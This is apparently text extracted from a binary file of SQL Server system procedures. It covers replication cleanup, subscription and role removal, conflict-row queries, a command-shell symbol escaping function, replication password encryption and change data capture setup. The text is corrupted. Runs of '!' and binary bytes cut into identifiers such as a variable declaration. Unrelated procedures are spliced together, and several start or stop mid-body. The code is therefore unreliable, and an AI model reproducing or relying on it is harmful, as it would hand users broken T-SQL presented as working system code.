	SELECT @agent_name = FORMATMESSAGE(20569) 
		
	IF EXISTS(SELECT * 
				FROM msdb.dbo.sysjobs_view 
				WHERE name = @agent_name collate database_default 
					AND UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
	                AND master_server = 0)
	    AND NOT EXISTS(SELECT name 
	    				FROM master.dbo.sysdatabases 
	    				WHERE category & 4 = 4 
	    					AND name != @publisher_db)
		AND NOT EXISTS(SELECT name 
						FROM master.dbo.sysdatabases 
						WHERE category & 1 =1
							AND name != @publisher_db)
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_repl_job @job_name = @agent_name
	END    
	        
    --
    -- clean up transactional 
    --
    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('tran', 'both')
    BEGIN    	
	    	--
			-- Drop subscriber side jobs
			--
			IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NOT NULL
				AND OBJECT_ID('MSsubscription_properties', 'U') IS NOT NULL
			BEGIN
				DECLARE cursorSubAgents CURSOR LOCAL FAST_FORWARD FOR
					SELECT msrs.agent_id,
							mssp.job_step_uid
				    	FROM MSreplication_subscriptions msrs
				    		LEFT JOIN MSsubscription_properties mssp
				    			ON UPPER(msrs.publisher) = UPPER(mssp.publisher)
							       AND msrs.publisher_db = mssp.publisher_db
							       AND msrs.publication = mssp.publication
							       AND mssp.publication_type in (0, 1)
				FOR READ ONLY

				OPEN cursorSubAgents

				FETCH cursorSubAgents INTO @job_id, @job_step_uid
				WHILE @@FETCH_STATUS != -1
				BEGIN
					IF EXISTS (SELECT * 
								FROM msdb.dbo.sysjobs_view 
								WHERE job_id = @job_id)
					BEGIN		
						EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
																@job_step_uid = @job_step_uid    
					END
					
					FETCH cursorSubAgents INTO @job_id, @job_step_uid
				END

				CLOSE cursorSubAgents
				DEALLOCATE cursorSubAgents
			END
	
		
	    if object_id(N'sysarticles', N'U') is not null
	    begin
	        if not exists (select * from master.dbo.MSreplication_options
	                        where optname = 'transactional')
	        begin
	            RAISERROR(21027, 10, -1, 'transactional')	        
	        end
		
            exec sys.sp_MSdrop_synctran_objects

            -- Attempt to drop all publisher tables
		    exec sys.sp_MSdrop_pub_tables
        end
    END
    
    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('merge', 'both')
	BEGIN
    	
	    --
		-- Drop subscriber side jobs
		--
		IF OBJECT_ID('MSmerge_replinfo', 'U') IS NOT NULL
			AND OBJECT_ID('sysmergepublications', 'U') IS NOT NULL
			AND OBJECT_ID('sysmergesubscriptions', 'U') IS NOT NULL
			AND OBJECT_ID('MSsubscription_properties', 'U') IS NOT NULL
		BEGIN
			DECLARE cursorSubAgents CURSOR LOCAL FAST_FORWARD FOR
				SELECT msmr.merge_jobid,
						mssp.job_step_uid
				    FROM sysmergepublications smp
				    	JOIN sysmergesubscriptions sms
				    		ON smp.pubid = sms.pubid
				    	JOIN MSmerge_replinfo msmr
				    		ON sms.subid = msmr.repid
				    	LEFT JOIN MSsubscription_properties mssp
				    		ON UPPER(smp.publisher) = UPPER(mssp.publisher)
							   AND smp.publisher_db = mssp.publisher_db
							   AND smp.name = mssp.publication
			FOR READ ONLY
		
			OPEN cursorSubAgents

			FETCH cursorSubAgents INTO @job_id, @job_step_uid
			WHILE @@FETCH_STATUS != -1
			BEGIN
				IF EXISTS (SELECT * 
							FROM msdb.dbo.sysjobs_view 
							WHERE job_id = @job_id)
				BEGIN
					EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
														@job_step_uid = @job_step_uid		           
				END
				
				FETCH cursorSubAgents INTO @job_id, @job_step_uid
			END

			CLOSE cursorSubAgents
			DEALLOCATE cursorSubAgents
		END


		-- merge cleanup. Drop the ddl triggers first because we don't want the alters that are done
		-- because of the cleanup below to be tracked in the ddl triggers anyway.
		execute @retcode=sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'	
									
		    	--
	    -- Cleanup for hws.
	    -- can not use sp_MSmergepublishdb or sp_dropmergepullsubscriptions
	    -- since they depend on serverid and dbname
	    --
	    if object_id(N'sysmergearticles', N'U') is not null
	    begin
	        declare @artid 			uniqueidentifier
    		declare @objid          int
		    declare @ownername      sysname
		    declare @objectname     sysname
                declare @partition_id_eval_proc nvarchar(255)
                declare @membership_eval_proc_name sysn!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(_߮! v1ame
                declare @expand_proc_name nvarchar(255)
                declare @expand_proc        sysname
                declare @tmp_procname nvarchar(517)
                declare @pubidstr           nvarchar(32)
                declare @artidstr               nvarchar(32)
                declare @art_proc_suffix nvarchar(40)

	        declare #hC CURSOR LOCAL FAST_FORWARD FOR 
	            select DISTINCT pubid, artid 
	            FROM dbo.sysmergearticles
	            where lightweight=0				
	        FOR READ ONLY       

	        OPEN #hC
	        FETCH #hC INTO @pubid, @artid
	        WHILE (@@fetch_status <> -1)
	        begin
						
                EXEC @retcode = sys.sp_MSarticlecleanup
		        				@pubid, @artid, 1 -- set ignore_merge_metadata to 1 so that we drop the objects but not the metadata
			-- If article cleanup fails and force is set we should unmark the article and move to next article.
                IF (@@ERROR <> 0 or @retcode <> 0)
                begin														
                    select @objid = max(objid) from dbo.sysmergearticles where artid = @artid
                    if @objid is not NULL 
                    begin
			    -- get owner name, and table name
                        select @objectname = name, @ownername = schema_name(schema_id) from sys.objects where object_id = @objid
                        exec @retcode=sys.sp_MSunmarkreplinfo @object=@objectname, @owner=@ownername
                    end				
                end			
                else 
		  begin
                    --bug 428665
                    exec @retcode = dbo.sp_MSguidtostr @pubid, @pubidstr out
                    if @@ERROR <>0 OR @retcode <>0 return (1)

                    select @partition_id_eval_proc = 'MSmerge_evalpartid_sp_' + substring(@pubidstr, 1, 16)
                    if object_id(@partition_id_eval_proc) is not NULL
                    begin
                        select @ownername = schema_name(schema_id) from sys.objects where name=@partition_id_eval_proc
                        select @tmp_procname = QUOTENAME(@ownername) + '.' + QUOTENAME(@partition_id_eval_proc)
                        exec ('drop proc ' + @tmp_procname)
                        if @@error<>0 return 1
                    end

                        --drop the expand procs for the filters. we need to drop them before the system table
                        -- sysmergesubsetfilters is dropped
                        if (object_id('dbo.sysmergesubsetfilters') is not null) 
                        begin
                            select @expand_proc_name = expand_proc from dbo.sysmergesubsetfilters where pubid = @pubid and artid = @artid
                            if (@expand_proc_name is not NULL) and (@expand_proc_name <> '') and (object_id( @expand_proc_name) is not null)
                            begin
                                select @ownername = schema_name(schema_id) from sys.objects where name = @expand_proc_name
                                select @tmp_procname = QUOTENAME(@ownername) + '.' + QUOTENAME(@expand_proc_name)
                                exec ('drop proc ' + @tmp_procname)
                                if @@ERROR <>0 return 1
                            end
                        end

                        exec @art_proc_suffix = sys.fn_MSmerge_getartprocsuffix @artid, @pubid
                        select @membership_eval_proc_name = 'MSmerge_evalmembership_sp_' + @art_proc_suffix
                        if object_id (@membership_eval_proc_name) is not null
                        begin
                            select @ownername = schema_name(schema_id) from sys.objects where name=@membership_eval_proc_name
                            select @tmp_procname = QUOTENAME(@ownername) + '.' + QUOTENAME(@membership_eval_proc_name)
                            exec ('drop proc ' + @tmp_procname)
                            if @@ERROR<>0 return (1)
                        end

                        exec @retcode=sys.sp_MSguidtostr @artid, @artidstr out
                        if @retcode<>0 or @@ERROR<>0 
                            return (1)    

                        select @expand_proc = 'MSmerge_expand_sp_' + @artidstr
                        if object_id(@expand_proc) is not null
                        begin
                            select @ownername = schema_name(schema_id) from sys.objects where name=@expand_proc
                            select @tmp_procname = QUOTENAME(@ownername) + '.' + QUOTENAME(@expand_proc)
                            exec ('drop proc ' + @tmp_procname)
                            if @@ERROR<>0 return (1)
                        end
		end

	            FETCH #hC INTO @pubid, @artid
	        end
	        close #hC
	        deallocate #hC
	        select @whattodrop= 1
	    end
	    --
	    -- Cleanup for lws.
	    --
	    if object_id('dbo.sysmergesubscriptions', 'U') is not null
	    begin
	        declare #hC CURSOR LOCAL FAST_FORWARD FOR 
	            select DISTINCT pubid
	            FROM dbo.sysmergesubscriptions
	            where subscription_type = @SUBSCRIPTION_TYPE_LIGHTWEIGHT and 
	                status <> @REPLICA_STATUS_BeforeRestore and
	                lower(subscriber_server) collate database_default = lower(@@servername) collate database_default and
	                db_name = db_name()
	        FOR READ ONLY       

	        OPEN #hC
	        FETCH #hC INTO @pubid
	        WHILE (@@fetch_status <> -1)
	        BEGIN 
	            exec @retcode= sys.sp_MSdeletelightweightsubscription
	                                        @publication_id = @pubid
	           
	            FETCH #hC INTO @pubid
	        END

	        close #hC
	        deallocate #hC
	        select @whattodrop= @whattodrop + 2
	    end
	    --
	    -- cleanup for roles
	    --	
		if object_id('dbo.sysmergepublications', 'U') is not NULL
		begin
			exec @retcode = sys.sp_MSdropmergepalrole
		
			--
			-- drop the database pal role
			--
			declare @role sysname
			select @role = 'MSmerge_PAL_role'
			if exists (select * from sys.database_principals where name=@role and type = 'R')
			begin
				declare @member sysname
				
				-- there could be roles of stale publications which are still members of the 
				-- database wide pal role. The code below takes care of dropping all members
				-- of the database wide pal role before dropping it.
				declare role_members cursor local fast_forward
				for select u.name as MemberName
	        			from sys.database_principals u, sys.database_principals g, sys.database_role_members m
	        			where g.name = @role
	        				and g.principal_id = m.role_principal_id
	        				and g.type = 'R'
	        				and u.principal_id = m.member_principal_id
	        				
				open role_members 
				fetch role_members into @member
				while @@fetch_status <> -1
				begin						
					exec @retcode = sys.sp_droprolemember @role, @member					
					fetch role_members into @member
				end
				close role_members
				deallocate role_members
				
				exec @retcode = sys.sp_droprole @role					
			end
		end
		
	    --
	    -- misc merge cleanup
	    --	
		if 0 <> @whattodrop
		begin
			execute @retcode = sys.sp_MSdrop_mergesystables @whattodrop=@whattodrop		
		end
	      
    END

    --
    -- clean up tran sub
    --
    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('tran', 'both')
    BEGIN
	    IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NOT NULL
	    BEGIN
	        --
	        -- drop pull subscription
	        --		
			EXEC @retcode = sys.sp_droppullsubscription
										@publisher = N'all', 
										@publisher_db = N'all', 
										@publication = N'all',
                                        @from_backup = @from_backup
									
				
			
	        --
	        -- drop push subscription
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<`&㙾0 8--
-- Name: fn_escapecmdshellsymbolsremovequotes
--
-- Descriptions: The only difference between this function and 
--               fn_escapecmdshellsymbols is that "'s are removed from the 
--               resulting command line.
--
-- Parameter: @command_string nvarchar(4000)
-- 
-- Security: This is a public interface object.
--
create function sys.fn_escapecmdshellsymbolsremovequotes(
    @command_string nvarchar(4000)
    ) returns nvarchar(4000)
as
begin
    declare @escaped_command_string nvarchar(4000),
            @curr_char nvarchar(1),
            @curr_char_index int    
    select @escaped_command_string = N'',
           @curr_char = N'', 
           @curr_char_index = 1
    while @curr_char_index <= len(@command_string)
    begin
        select @curr_char = substring(@command_string, @curr_char_index, 1) 
        if @curr_char in (N'%', N'<', N'>', N'|', N'&', N'^')
        begin
            select @escaped_command_string = @escaped_command_string + N'^'
        end

        if @curr_char <> '"'
        begin
            select @escaped_command_string = @escaped_command_string + @curr_char
        end
        select @curr_char_index = @curr_char_index + 1 
    end
    return @escaped_command_string
end
0@ 8create view sys.trace_subclass_values as select * from OpenRowset(TABLE SYSTRACESUBCLASSVALUES)
0S@ 8CREATE VIEW sys.dm_os_performance_counters AS
	SELECT
		object_name, counter_name, instance_name, cntr_value, cntr_type
	FROM OpenRowSet(TABLE SYS_PERFORMANCE_COUNTERS)
0n 68create procedure sys.sp_MStran_alterschemaonly 
(
	@qual_object_name nvarchar(512) --qualified 3-part-name			
	,@objid	int
	,@pass_through_scripts nvarchar(max)
	,@target_object_name nvarchar(512) = NULL
)

AS
	set nocount on

	declare @tran_artid int 
			,@retcode int
			,@subscription_active int
			,@include_ddl int

	select @include_ddl = 0x1
		,@subscription_active = 2 
		,@retcode = 0

/*
	--a tiny optimization, if there is no table based iv, no need to check for this.
	--otherwise, check for 21845 condition
	if exists(select 1 from sysarticles where objectproperty(objid, 'IsView') = 1 or objectproperty(objid, 'IsProcedure') = 1)
	begin
		if sys.fn_ftableivprocexec(@objid) = 1
		begin
			raiserror (21845, 16, 1, @qual_object_name)
			return 1
		end
	end
*/
	begin tran sp_MStran_alterschemaonly
	save tran sp_MStran_alterschemaonly
	--loop through relavent publications/articles
	declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
		select distinct a.artid
			from sysextendedarticlesview a 
			join syspublications p on a.pubid = p.pubid 
			join dbo.syssubscriptions s on a.artid = s.artid
			where a.objid = @objid 
					and s.status = @subscription_active 
					and (p.replicate_ddl & @include_ddl) = @include_ddl

	open #trancolumn
	fetch #trancolumn into @tran_artid
	while (@@fetch_status <> -1)
	BEGIN
		exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
				  								,@ddlcmd = @pass_through_scripts
		if @retcode <>0 or @@ERROR<>0
			goto DROPTRAN
		fetch #trancolumn into @tran_artid
	END
	close #trancolumn
	deallocate #trancolumn

	commit tran sp_MStran_alterschemaonly
	return 0

DROPTRAN:
	close #trancolumn
	deallocate #trancolumn

FAILURE:
	rollback tran sp_MStran_alterschemaonly
	commit tran
	return 1
0@ 	8create procedure sys.sp_MSchange_originatorid
(
	@originator_node			sysname,
	@originator_db			sysname,
	@originator_publication		sysname,
	@originator_publication_id	int,
	@originator_db_version		int,
	@originator_id				int,
	@originator_version		int
)
as
begin
	declare @retcode bit

	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
	if @@error <> 0 or  @retcode <> 0 
	begin
       	return 1
	end
	
	begin tran 
	save tran tr_sp_MSchange_originatorid

	update dbo.MSpeer_lsns
	set originator_id =	case @originator_id 
						when 0 then NULL
	                                   else @originator_id
					end,
	     originator_version = @originator_version
	where originator = UPPER(@originator_node)
		and originator_db = @originator_db
		and originator_publication	= @originator_publication
		and originator_publication_id = @originator_publication_id
		and originator_db_version	= @originator_db_version

	if @@error <> 0
	begin
		-- The procedure sys.sp_MSchange_originatorid failed to UPDATE the resource MSpeer_lsns. Server error =  @@error.
		raiserror (21499, 16, -1, 'sys.sp_MSchange_originatorid', 'UPDATE', 'MSpeer_lsns', @@error)
		goto FAILURE
       end

	if object_id(N'dbo.MSpeer_originatorid_history') is not NULL
	begin
		if @originator_id is not NULL and @originator_id <> 0 and not exists(select * from dbo.MSpeer_originatorid_history where originator_publication = @originator_publication
																				and originator_id = @originator_id
																				and UPPER(originator_node) = UPPER(@originator_node)
																				and originator_db = @originator_db
																				and originator_db_version = @originator_db_version)
		begin
			insert dbo.MSpeer_originatorid_history
				(originator_publication, originator_id, originator_node, originator_db, originator_db_version, originator_version)
			values(@originator_publication, @originator_id, UPPER(@originator_node), @originator_db, @originator_db_version, @originator_version)

			if @@error <> 0
			begin
				-- The procedure sys.sp_MSchange_originatorid failed to INSERT into the resource MSpeer_originatorid_history. Server error =  @@error.
				raiserror (21499, 16, -1, 'sys.sp_MSchange_originatorid', 'INSERT into', 'MSpeer_originatorid_history', @@error)
				goto FAILURE
			end
		end
	end

	commit tran
	
	return 0

FAILURE:
	
	rollback tran tr_sp_MSchange_originatorid
	commit tran
	
	return 1
end
-	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE FUNCTION sys.fn_replencryptver4
(
	@password nvarchar(524)
)
RETURNS nvarchar(524)
AS
BEGIN
	DECLARE @retcode int,
			@crypto_v4_first_char nchar(1),
			@crypto_v4_second_char nchar(1),
			@crypto_v4_third_char nchar(1),
			@crypto_v4_fourth_char nchar(1)
			
	SELECT @crypto_v4_first_char = NCHAR(0xa989),
			@crypto_v4_second_char = NCHAR(0xa888),
			@crypto_v4_third_char = NCHAR(0xa383),
			@crypto_v4_fourth_char = NCHAR(0xa282)
	
	IF IS_MEMBER('db_owner') = 1
		AND EXISTS(SELECT *
				FROM sys.symmetric_keys 
				WHERE name = '##MS_DatabaseMasterKey##')
		AND EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = 'SQLSERVER_REPLICATION')
	BEGIN
		SELECT @password = @crypto_v4_first_char 
							+ @crypto_v4_second_char 
							+ @crypto_v4_third_char 
							+ @crypto_v4_fourth_char
							+ CONVERT(nvarchar(524), ENCRYPTBYKEY(KEY_GUID('SQLSERVER_REPLICATION'), @password))
	END
		
	RETURN @password
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}`\<RaG=0

 8CREATE PROCEDURE sys.sp_fulltext_thesaurus_add_term
    @createNewState bit,
    @newstateid int,
    @parentid int,
    @phraseIdOrNull int,
    @term varbinary(132),
    @lcid int,
    @newStateCreated bit output,
    @duplicateThesaurusRule bit output
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @stateid int
    DECLARE @existingPhraseId int

    SELECT @newStateCreated = 0
    SELECT @duplicateThesaurusRule=0
    
    if (@createNewState = 0)
    BEGIN
    SELECT @stateid = stateid, @existingPhraseId=phraseid
        FROM tempdb.sys.fulltext_thesaurus_state_table
        WHERE ( ( parentid = @parentid ) AND 
                ( term = @term ) AND
                (lcid = @lcid) )
    END
    
    IF ( @stateid IS NULL )
    BEGIN
        INSERT INTO tempdb.sys.fulltext_thesaurus_state_table (stateid, parentid, phraseid, term, lcid )
            VALUES (@newstateid, @parentid, @phraseIdOrNull, @term, @lcid )

        SELECT @stateid = @newstateid
        SELECT @newStateCreated = 1

    END
    ELSE IF ( @phraseIdOrNull IS NOT NULL ) 
    BEGIN
        IF (@existingPhraseId IS NULL)
        BEGIN
            UPDATE tempdb.sys.fulltext_thesaurus_state_table
                SET phraseid = @phraseIdOrNull
                WHERE ( ( parentid = @parentid ) AND 
                        ( term = @term ) AND
                        (lcid = @lcid) )
        END
        ELSE IF (@existingPhraseId IS NOT NULL)
        BEGIN
            -- Duplicate terminal phrase encountered in the thesaurus file
            -- Ignore duplicate phrase (no need to update state table)
            SELECT @duplicateThesaurusRule=1
        END
    END
    
    RETURN @stateid
END
0+@ 8
create  procedure sys.sp_MSenum_replication_job
(
    @job_id uniqueidentifier,
	@step_uid uniqueidentifier = null
)
as
begin
    SET NOCOUNT ON
    
    declare @retcode 		int
            ,@time 			int
            ,@date 			int
            ,@datetime		nvarchar(50)
            ,@runstatus 	int
            ,@message 		nvarchar(1024)
            ,@job_name		sysname
            ,@session_id 	int
            ,@job_found		bit
                
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end

	-- check that the user has permission to view this job information
	exec @retcode = sys.sp_MSrepl_check_job_access @id = @job_id,
													@err_not_found = 0,
													@step_uid = @step_uid,
													@job_found = @job_found output		
	if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end

	
	if @job_found = 1
	begin
		-- retrieve the lastest session id (New session id on every start of sqlagent service)
	    select top(1) @session_id = session_id 
			from msdb..syssessions 
			order by agent_start_date desc

		-- retrieve current runstatus, message and date time	
		select @runstatus 	= case 
								when sysja.run_requested_date is NULL then 5								-- Case when job has never been run but sqlagent is started
								when sysja.job_history_id is not NULL and sysjh.run_status is NULL then 5	-- Case when job has been run but history has been truncated
								else isnull(sysjh.run_status, 4)											-- Normal case...
							end,
				@message 	= isnull(nullif(ltrim(sysjh.message), N''), formatmessage(14243, sysj.name)),							
				@date 		= convert(int, convert(nvarchar(4000), sysja.start_execution_date, 112)),
				@time 		= convert(int, replace(convert(nvarchar(4000), sysja.start_execution_date, 8), ':', '')),
				@datetime 	= replace(convert(nvarchar(4000), sysja.start_execution_date, 21), '-', ''),
				@job_name	= sysj.name
			from msdb.dbo.sysjobactivity sysja 
				join msdb.dbo.sysjobs sysj
					on sysja.job_id = sysj.job_id
				left join msdb.dbo.sysjobhistory sysjh
					on sysja.job_id = sysjh.job_id
						and sysja.job_history_id = sysjh.instance_id
			where sysja.job_id = @job_id
				and sysja.session_id = @session_id

	    -- Map SQL Agent runstatus to Replication runstatus
	    select @runstatus 	= case @runstatus
			                        when 0 then 6   -- Fail mapping
			                        when 1 then 2   -- Success mapping
			                        when 2 then 5   -- Retry mapping
			                        when 3 then 2   -- Shutdown mapping
			                        when 4 then 3   -- Inprogress mapping
			                        when 5 then 0   -- Unknown is mapped to never run
			                    end
	end
	else
	begin
		select @runstatus	= NULL, 
    			@message	= NULL,	  
	    		@date		= NULL, 
	        	@time		= NULL, 
	        	@datetime	= NULL
	end

	-- Return status and message
	select 'runstatus' 	= @runstatus, 
    		'message'  	= @message,  
    		'date'  	= @date, 
        	'time'  	= @time, 
        	'datetime' 	= @datetime
	
    -- all done
    return 0
end
0V 
8create procedure sys.sp_MSgettranconflictrow 
( 
    @tran_id sysname = '%',                     -- % = ALL transactions for the article
    @row_id sysname = '%',                     -- % = ALL rows for a given transaction
    @conflict_table nvarchar(270),             -- owner qualified table name - [owner].[tabname]
    @is_subscriber bit                               -- Publisher = 0, Subscriber = 1
)
as 
begin
    set nocount on
    declare @retcode int
            ,@cmd nvarchar(4000)
            ,@whcmd nvarchar(4000)
            ,@unqualified_cft_tab sysname
            ,@publication sysname
            
    --
    -- get the publication name
    --
    if (@is_subscriber = 1)
    begin
    	--
	    -- check if the conflict table is owner qualified
	    --
	    select @unqualified_cft_tab = QUOTENAME(PARSENAME(@conflict_table, 1))
	    
        --
        -- we are on subscriber
        --
        select @publication = sagnt.publication
        from (MSsubscription_articles as sart join MSsubscription_agents as sagnt 
                on sart.agent_id = sagnt.id)
        where quotename(sart.cft_table) = @unqualified_cft_tab
    end
    else
    begin
        --
        -- we are on publisher
        --
        select @publication = p.name
        from ((sysarticles a join sysarticleupdates b 
            on a.pubid = b.pubid 
            and a.artid = b.artid) join syspublications p 
                on a.pubid = p.pubid)
        where b.conflict_tableid = OBJECT_ID(@conflict_table)
    end
    --
    -- Do PAL security check
    --
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @retcode <> 0 or @@error <> 0
        return (1)
    --
    -- passed the security check
    --
    select @cmd = N'select * from ' + ISNULL(NULLIF(QUOTENAME(PARSENAME(@conflict_table, 2)) + N'.', N'.'), N'') + QUOTENAME(PARSENAME(@conflict_table, 1))
    if (@tran_id != N'%')
    begin
        if (@whcmd is null)
            select @whcmd = N'tranid = ' + QUOTENAME(@tran_id, '''')
        else
            select @whcmd = @whcmd + N' and tranid = ' + QUOTENAME(@tran_id, '''')
    end
    if (@row_id != N'%')
    begin
        if (@whcmd is null)
            select @whcmd = N'qcfttabrowid = ' + QUOTENAME(@row_id, '''')
        else
            select @whcmd = @whcmd + N' and qcfttabrowid = ' + QUOTENAME(@row_id, '''')
    end
    if (@whcmd is not null)
    begin
        select @cmd = @cmd + N' where ' + @whcmd
    end
    --
    -- execute the generated select
    --
    execute (@cmd)
    --
    -- all done
    --
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![$A`	<Hb+0W猴0E h8Xahp>q8^r}st0*,@ 8

create procedure sys.sp_dropanonymousagent
@subid uniqueidentifier,
@type int -- 1 tran sub, 2 merge sub
as
    set nocount on 
    declare @login sysname
    -- Null @login indicates sysadmin or db_owner
    if IS_SRVROLEMEMBER ('sysadmin') = 0 and is_member('db_owner') = 0
        select @login = suser_sname()
    /*
    ** Get distribution server information for remote RPC
    ** agent verification.
    */
    declare @distributor sysname
    declare @distribdb sysname
    declare @distproc nvarchar(1000)
    declare @retcode int

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
        @distribdb = @distribdb OUTPUT

    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    /*
    ** Call proc to change the distributor
    */
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
        '.dbo.sp_MSdrop_anonymous_entry'

    exec @retcode = @distproc 
        @subid = @subid,
        @login = @login,
        @type = @type

    IF @@error <> 0 OR @retcode <> 0
        RETURN (1)

    RETURN (0)
0 )8create procedure sys.sp_cdc_enable_table 
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname = null,
	@supports_net_changes bit = null,
	@role_name sysname,
	@index_name sysname = null,
	@captured_column_list nvarchar(max) = null,
	@filegroup_name sysname = null,
	@allow_partition_switch bit = 1
)
as
begin
	declare @retcode int
		,@db_name sysname
        
    -- Verify SQL Server edition
    -- CDC is restricted to Eval, Enterprise and Developer editions
    IF (sys.fn_MSrepl_editionid () not in (30,31))
    BEGIN
        DECLARE @edition sysname
        SELECT @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))
        RAISERROR(22988, 16, -1, @edition)
        RETURN (1)
    END
   
    -- Verify caller is entitled to enable change data capture for the table 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
	begin
   		raiserror(22904, 16, -1)
		return 1
	end
	
    -- Verify database is enabled for change data capture before we switch to cdc 
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
	
	-- Switch to database user 'cdc' before executing stored procedure that
	-- can cause database DML and DDL triggers to fire.
	execute as user = 'cdc'

	-- Call internal stored procedure that executes as 'dbo' to do the work.	
	exec @retcode = sys.sp_cdc_enable_table_internal 
		@source_schema,
		@source_name,
		@capture_instance,
		@supports_net_changes,
		@role_name,
		@index_name,
		@captured_column_list,
		@filegroup_name,
		@allow_partition_switch
		
	if (@@error <> 0) or (@retcode <> 0)
	begin
		revert
		return 1
	end
	
	revert
	return 0
end
r Check:  @dbname.
    -- Check to make sure that the database name conforms to the rules
    -- for identifiers.
    --
    IF @dbname <> N'%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @dbname
        IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)
    END

    --
    -- create temp table for resultset
    --
    CREATE TABLE #replicationdbs 
    (
        name sysname primary key, 
        id int identity NOT NULL, 
        transpublish bit not null, 
        mergepublish bit not null, 
        dbowner bit not null, 
        dbreadonly bit not null,
        haspublications bit NULL,
        haspullsubscriptions bit NULL
    )
    --
    -- populate the table
    --
    INSERT INTO #replicationdbs (name, transpublish, mergepublish, dbowner, dbreadonly) 
        SELECT name 
                ,is_published
                ,is_merge_published
                ,case when (@issysadmin = 1) then 1 else 0 end
                ,is_read_only
        FROM master.sys.databases
        WHERE ((@dbname = N'%') OR (name = @dbname))
            AND ((@typebit = 0) or (is_published = 1) or (is_merge_published = 1) or (is_subscribed = 1))
            AND (HAS_DBACCESS ( name ) = 1)
            AND (@typebit != 0 OR is_distributor = 0) --Filter out distribution databases
            AND (@typebit != 0 OR name not in (N'master',N'model',N'tempdb',N'msdb',N'MSSQLWeb')) -- filter our system dbs
            AND source_database_id is NULL -- exclude snapshot files

    --
    -- enumerate database collection
    --
    DECLARE #hCdboinfo CURSOR LOCAL FAST_FORWARD FOR
        SELECT name, transpublish, mergepublish, dbowner
        FROM #replicationdbs

    OPEN #hCdboinfo
    FETCH #hCdboinfo INTO @replication_db, @transpublish, @mergepublish, @dbowner
    WHILE (@@fetch_status <> -1)
    BEGIN
        --
        -- initialize
        --
